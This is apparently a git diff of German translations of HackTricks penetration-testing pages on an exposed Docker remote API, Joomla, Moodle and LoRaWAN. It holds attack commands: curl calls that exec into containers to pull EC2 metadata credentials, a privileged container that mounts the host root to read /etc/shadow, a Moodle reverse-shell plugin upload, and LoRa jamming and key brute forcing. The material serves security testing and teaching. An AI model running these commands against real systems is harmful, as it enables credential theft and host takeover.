- **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die Rechte des kompromittierten Benutzers erlangen und nicht den Root-Zugriff.
- **Architektur**: Im Gegensatz zu Dockers Client-Server-Modell mit einem Hintergrund-Daemon arbeitet Podman ohne Daemon. Dieses Design bedeutet, dass Container mit den Rechten des Benutzers ausgeführt werden, der sie startet, was die Sicherheit erhöht, da Root-Zugriff nicht erforderlich ist.
- **Systemd-Integration**: Podman integriert sich mit **systemd**, um Container zu verwalten, was die Containerverwaltung über systemd-Einheiten ermöglicht. Dies steht im Gegensatz zu Dockers Verwendung von systemd, das hauptsächlich zur Verwaltung des Docker-Daemon-Prozesses dient.
- **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die Rechte des kompromittierten Benutzers erlangen, nicht den Root-Zugriff.
Der Ansatz von Podman bietet eine sichere und flexible Alternative zu Docker, die das Management von Benutzerrechten und die Kompatibilität mit bestehenden Docker-Workflows betont.
> [!NOTE]
> [!TIP]
> Beachten Sie, dass Podman darauf abzielt, die gleiche API wie Docker zu unterstützen, sodass Sie die gleichen Befehle mit Podman wie mit Docker verwenden können, wie zum Beispiel:
>
> ```bash
@ -85,9 +85,9 @@ Der Ansatz von Podman bietet eine sichere und flexible Alternative zu Docker, di
> podman ls
> ```
### Grundinformationen
### Grundlegende Informationen
Die Remote-API läuft standardmäßig auf Port 2375, wenn sie aktiviert ist. Der Dienst erfordert standardmäßig keine Authentifizierung, was es einem Angreifer ermöglicht, einen privilegierten Docker-Container zu starten. Durch die Verwendung der Remote-API kann man Hosts / (Wurzelverzeichnis) an den Container anhängen und Dateien der Umgebung des Hosts lesen/schreiben.
Die Remote-API läuft standardmäßig auf Port 2375, wenn sie aktiviert ist. Der Dienst erfordert standardmäßig keine Authentifizierung, was es einem Angreifer ermöglicht, einen privilegierten Docker-Container zu starten. Durch die Verwendung der Remote-API kann man Hosts / (Root-Verzeichnis) an den Container anhängen und Dateien der Umgebung des Hosts lesen/schreiben.
**Standardport:** 2375
```
@ -134,9 +134,9 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
Wenn Sie **die Remote-Docker-API mit dem `docker`-Befehl kontaktieren können**, können Sie **jede der** **docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands) ausführen, um mit dem Dienst zu interagieren.
Wenn Sie **die entfernte Docker-API mit dem `docker`-Befehl kontaktieren können**, können Sie **jede der** **Docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands) ausführen, um mit dem Dienst zu interagieren.
> [!NOTE]
> [!TIP]
> Sie können `export DOCKER_HOST="tcp://localhost:2375"` verwenden und **vermeiden**, den `-H`-Parameter mit dem Docker-Befehl zu verwenden.
**Schnelle Privilegieneskalation**
@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -190,7 +190,7 @@ Auf der folgenden Seite finden Sie Möglichkeiten, um **aus einem Docker-Contain
../linux-hardening/privilege-escalation/docker-security/
{{#endref}}
Durch den Missbrauch dessen ist es möglich, aus einem Container zu entkommen. Sie könnten einen schwachen Container auf der Remote-Maschine ausführen, von ihm entkommen und die Maschine kompromittieren:
Durch den Missbrauch davon ist es möglich, aus einem Container zu entkommen. Sie könnten einen schwachen Container auf der Remote-Maschine ausführen, von ihm entkommen und die Maschine kompromittieren:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
@ -206,7 +206,7 @@ Wenn Sie sich auf einem Host befinden, der Docker verwendet, können Sie [**dies
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
Überprüfen Sie **env** (Abschnitt der Umgebungsvariablen) auf Geheimnisse und Sie könnten finden:
Überprüfen Sie **env** (Abschnitt Umgebungsvariablen) auf Geheimnisse und Sie könnten finden:
- Passwörter.
- IPs.
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
- `./docker-bench-security.sh`
- Sie können das Tool [https://github.com/kost/dockscan](https://github.com/kost/dockscan) verwenden, um Ihre aktuelle Docker-Installation zu überprüfen.
- `dockscan -v unix:///var/run/docker.sock`
- Sie können das Tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) verwenden, um die Berechtigungen zu überprüfen, die ein Container hat, wenn er mit verschiedenen Sicherheitsoptionen ausgeführt wird. Dies ist nützlich, um die Auswirkungen der Verwendung einiger Sicherheitsoptionen beim Ausführen eines Containers zu kennen:
- Sie können das Tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) verwenden, um die Berechtigungen zu überprüfen, die ein Container hat, wenn er mit verschiedenen Sicherheitsoptionen ausgeführt wird. Dies ist nützlich, um die Auswirkungen der Verwendung bestimmter Sicherheitsoptionen beim Ausführen eines Containers zu kennen:
- `docker run --rm -it r.j3ss.co/amicontained`
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Protokollierung verdächtiger Aktivitäten
- Sie können das Tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) verwenden, um **verdächtiges Verhalten in laufenden Containern zu erkennen**.
- Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt mit der Protokollierung verdächtiger Aktivitäten**. In diesem Fall hat es 2 privilegierte Container erkannt, die gestartet wurden, einen davon mit einer sensiblen Einbindung, und nach einigen Sekunden wurde erkannt, wie eine Shell in einem der Container geöffnet wurde.
- Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt mit der Protokollierung verdächtiger Aktivitäten**. In diesem Fall hat es 2 privilegierte Container erkannt, die gestartet wurden, einen davon mit einer sensiblen Einbindung, und nach einigen Sekunden wurde erkannt, dass eine Shell in einem der Container geöffnet wurde.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host

6
src/network-services-pentesting/pentesting-web/joomla.md
View File

@ -5,7 +5,7 @@
### Joomla Statistiken
Joomla sammelt einige anonyme [Nutzungsstatistiken](https://developer.joomla.org/about/stats.html), wie die Verteilung der Joomla-, PHP- und Datenbankversionen sowie der verwendeten Serverbetriebssysteme in Joomla-Installationen. Diese Daten können über ihre öffentliche [API](https://developer.joomla.org/about/stats/api.html) abgefragt werden.
Joomla sammelt einige anonyme [Nutzungsstatistiken](https://developer.joomla.org/about/stats.html), wie die Verteilung von Joomla-, PHP- und Datenbankversionen sowie der verwendeten Serverbetriebssysteme in Joomla-Installationen. Diese Daten können über ihre öffentliche [API](https://developer.joomla.org/about/stats/api.html) abgefragt werden.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Version
@ -103,7 +103,7 @@ Wenn Sie es geschafft haben, **Admin-Anmeldeinformationen** zu erhalten, können
## Von XSS zu RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script, das **XSS zu RCE oder anderen kritischen Schwachstellen erhöht**. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für Joomla-Versionen 5.X.X, 4.X.X und 3.X.X und ermöglicht:**
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla-Ausnutzungsskript, das **XSS zu RCE oder anderen kritischen Schwachstellen erhöht**. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für Joomla-Versionen 5.X.X, 4.X.X und 3.X.X und ermöglicht:**
- _**Privilegieneskalation:**_ Erstellt einen Benutzer in Joomla.
- _**(RCE) Eingebaute Templates bearbeiten:**_ Bearbeitet eingebaute Templates in Joomla.
- _**(Custom) Benutzerdefinierte Exploits:**_ Benutzerdefinierte Exploits für Drittanbieter-Joomla-Plugins.

8
src/network-services-pentesting/pentesting-web/moodle.md
View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```
@ -62,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Ich habe festgestellt, dass die automatischen Tools ziemlich **nutzlos sind, um Schwachstellen in der Moodle-Version zu finden**. Sie können **darauf prüfen** in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
Ich habe festgestellt, dass die automatischen Tools ziemlich **nutzlos sind, um Schwachstellen in der Moodle-Version zu finden**. Sie können **nach ihnen suchen** in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
@ -70,7 +70,7 @@ Sie müssen die **Manager**-Rolle haben und Sie **können Plugins** im **"Site a
![](<../../images/image (630).png>)
Wenn Sie Manager sind, müssen Sie möglicherweise diese **Option aktivieren**. Sie können sehen, wie im Moodle Privilegien-Eskalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Wenn Sie Manager sind, müssen Sie möglicherweise diese **Option aktivieren**. Sie können sehen, wie im Moodle Privilege Escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Dann können Sie **das folgende Plugin installieren**, das die klassische pentest-monkey PHP r**ev shell** enthält (_bevor Sie es hochladen, müssen Sie es dekomprimieren, die IP und den Port der revshell ändern und es erneut komprimieren_)

14
src/todo/radio-hacking/low-power-wide-area-network.md
View File

@ -14,7 +14,7 @@ Long Range (**LoRa**) ist derzeit die am häufigsten eingesetzte LPWAN-Physiksch
* LoRa – Chirp Spread Spectrum (CSS) Physikschicht, entwickelt von Semtech (proprietär, aber dokumentiert).
* LoRaWAN – Offene MAC-/Netzwerkschicht, die von der LoRa-Alliance gepflegt wird. Die Versionen 1.0.x und 1.1 sind im Feld verbreitet.
* Typische Architektur: *Endgerät → Gateway (Paketweiterleitung) → Netzwerkserver → Anwendungsserver*.
* Typische Architektur: *Endgerät → Gateway (Paketweiterleiter) → Netzwerkserver → Anwendungsserver*.
> Das **Sicherheitsmodell** basiert auf zwei AES-128-Wurzel-Schlüsseln (AppKey/NwkKey), die während des *Join*-Verfahrens (OTAA) Sitzungsschlüssel ableiten oder fest codiert sind (ABP). Wenn ein Schlüssel geleakt wird, erhält der Angreifer vollständige Lese-/Schreibrechte über den entsprechenden Datenverkehr.
@ -27,14 +27,14 @@ Long Range (**LoRa**) ist derzeit die am häufigsten eingesetzte LPWAN-Physiksch
| PHY | Reaktive / selektive Störung | 100 % Paketverlust, demonstriert mit einem einzelnen SDR und <1 W Ausgang |
| MAC | Join-Accept & Datenrahmen-Wiederholung (Nonce-Wiederverwendung, ABP-Zählerüberlauf) | Geräte-Spoofing, Nachrichteninjektion, DoS |
| Netzwerk-Server | Unsicherer Paketweiterleiter, schwache MQTT/UDP-Filter, veraltete Gateway-Firmware | RCE auf Gateways → Pivot in OT/IT-Netzwerk |
| Anwendung | Fest codierte oder vorhersehbare AppKeys | Brute-Force/Dekodierung des Datenverkehrs, Nachahmung von Sensoren |
| Anwendung | Fest codierte oder vorhersehbare AppKeys | Brute-Force/Entschlüsselung des Datenverkehrs, Nachahmung von Sensoren |
---
## Jüngste Schwachstellen (2023-2025)
* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* akzeptierte TCP-Pakete, die die zustandsbehafteten Firewall-Regeln auf Kerlink-Gateways umgingen und die Exposition der Fernverwaltungsoberfläche ermöglichten. In 4.0.11 / 4.2.1 behoben.
* **Dragino LG01/LG308-Serie** – Mehrere CVEs von 2022-2024 (z.B. 2022-45227 Verzeichnisdurchquerung, 2022-45228 CSRF) wurden 2025 weiterhin unpatched beobachtet; ermöglicht unauthentifizierten Firmware-Dump oder Konfigurationsüberschreibung auf Tausenden von öffentlichen Gateways.
* **Dragino LG01/LG308-Serie** – Mehrere CVEs von 2022-2024 (z. B. 2022-45227 Verzeichnisdurchquerung, 2022-45228 CSRF) wurden 2025 weiterhin unpatched beobachtet; ermöglicht unauthentifizierten Firmware-Dump oder Konfigurationsüberschreibung auf Tausenden von öffentlichen Gateways.
* Semtech *Paketweiterleiter UDP* Überlauf (nicht veröffentlichtes Advisory, gepatcht 2023-10): gestalteter Uplink größer als 255 B löste Stack-Smash aus ‑> RCE auf SX130x Referenz-Gateways (entdeckt von Black Hat EU 2023 “LoRa Exploitation Reloaded”).
---
@ -58,11 +58,11 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
### 3. Adaptive Data-Rate (ADR) Herabstufung
Zwingen Sie SF12/125 kHz, um die Sendezeit zu erhöhen → erschöpfen Sie den Duty-Cycle des Gateways (Denial-of-Service), während die Auswirkungen auf die Batterie des Angreifers gering bleiben (nur Netzwerk-MAC-Befehle senden).
Zwingen Sie SF12/125 kHz, um die Sendezeit zu erhöhen → erschöpfen Sie den Duty-Cycle des Gateways (Denial-of-Service), während die Auswirkungen auf den Akku des Angreifers gering bleiben (einfach Netzwerk-MAC-Befehle senden).
### 4. Reaktive Störung
*HackRF One*, das einen GNU Radio-Flowgraph ausführt, löst einen Breitband-Chirp aus, wann immer ein Preamble erkannt wird – blockiert alle Spreizfaktoren mit ≤200 mW TX; vollständiger Ausfall bei 2 km Reichweite.
*HackRF One*, das einen GNU Radio-Flowgraph ausführt, löst einen Breitband-Chirp aus, wann immer ein Preamble erkannt wird – blockiert alle Spreizfaktoren mit ≤200 mW TX; vollständiger Ausfall bei 2 km Reichweite gemessen.
---
@ -89,6 +89,6 @@ Zwingen Sie SF12/125 kHz, um die Sendezeit zu erhöhen → erschöpfen Sie den D
## References
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
* Trend Micro LoRaPWN Übersicht – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Trend Micro LoRaPWN Übersicht – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}